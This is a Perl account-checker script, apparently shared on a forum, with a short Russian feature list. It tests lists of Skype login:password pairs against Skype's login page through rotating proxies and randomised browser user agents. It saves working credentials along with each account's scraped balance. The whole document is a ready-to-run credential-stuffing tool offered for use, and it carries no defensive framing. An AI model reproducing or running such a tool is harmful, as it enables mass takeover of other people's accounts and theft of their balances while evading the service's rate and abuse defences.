[ + ] Многопоточность [ + ] Поддержка прокси [ + ] Определение баланса валидных аккаунтов
#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; use Fcntl ':flock'; ################################### my $threads = 1; # Кол-во потоков my $accs_file = 'data/accs.txt'; # Файл со списком аккаунтов my $accs_delm = ':'; # Разделитель списка аккаунтов my $proxy_file = 'data/proxy.txt';# Файл со списком proxy my $proxy_mode = 'OFF'; # Режим использования proxy(ON/OFF) my $delay = 0; # Задержка ################################### $| = 1; system 'title Skype Checker (c) Gaus 2010 icq 648249'; system 'color A'; my @accs : shared = lf($accs_file); my @proxy : shared = lf($proxy_file); my $valid : shared = 0; my $invalid : shared = 0; my $err : shared = 0; threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main { while(@accs) { my $ua = LWP::UserAgent->new(timeout => 35, cookie_jar => new HTTP::Cookies, agent => agent()); my ($login, $pass) = split $accs_delm => shift @accs; GET: if($proxy_mode eq 'ON') { until(proxy($ua)){} } my $answ = $ua->post('https://secure.skype.com/account/intl/ru/login', ['invite_token' => '', 'timezone_field' => '+02|00', 'username' => $login, 'password' => $pass])->as_string; if($answ =~ m,302 Found,i) { { lock $valid; ++$valid } my $req = $ua->get('https://secure.skype.com/account/intl/ru/')->content; if($req =~ m,;</span>(.+?)</span>,i) { $pass .= ';'.$1 } wf('valid_accs.txt', "$login:$pass\n"); cout("[ + ] Valid account[$login:$pass] \n") } elsif($answ =~ m,Ошибка идентификации,i) { { lock $invalid; ++$invalid } wf('invalid_accs.txt', "$login:$pass\n"); cout("[ - ] Invalid account[$login:$pass] \n") } elsif($answ =~ m,405 Method|500 read|500 Can't|CoDeeN,i) { cout("[ ~ ] Error proxy, trying again... \n"); goto GET } else { { lock $err; ++$err } wf('error_accs.txt', "$login:$pass\n"); cout("[ - ] Error account[$login:$pass] \n") } sleep $delay } } sub proxy { my $ua = shift; my ($ip, $port) = split ':' => $proxy[rand scalar @proxy]; $ua->proxy('http' => 'http://'.$ip.':'.$port); my $test = $ua->get('http://zerg.helllabs.net/cgi-bin/textenv.pl')->content; if($test =~ m,REMOTE_ADDR=$ip,i) { cout("[ + ] Try proxy[$ip:$port] \n"); return 1 } else { cout("[ - ] Bad proxy[$ip:$port] \n"); return 0 } } sub agent { my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0]; return $agents[rand scalar @agents] } sub cout { print $_[0]; print "[Valid: $valid | Invalid: $invalid | Error: $err]\r" } sub lf { open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n"; chomp(my @data = <$dat>); close $dat; return @data } sub wf { open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n"; flock $dat, LOCK_EX; print $dat $_[1]; flock $dat, LOCK_UN; close $dat }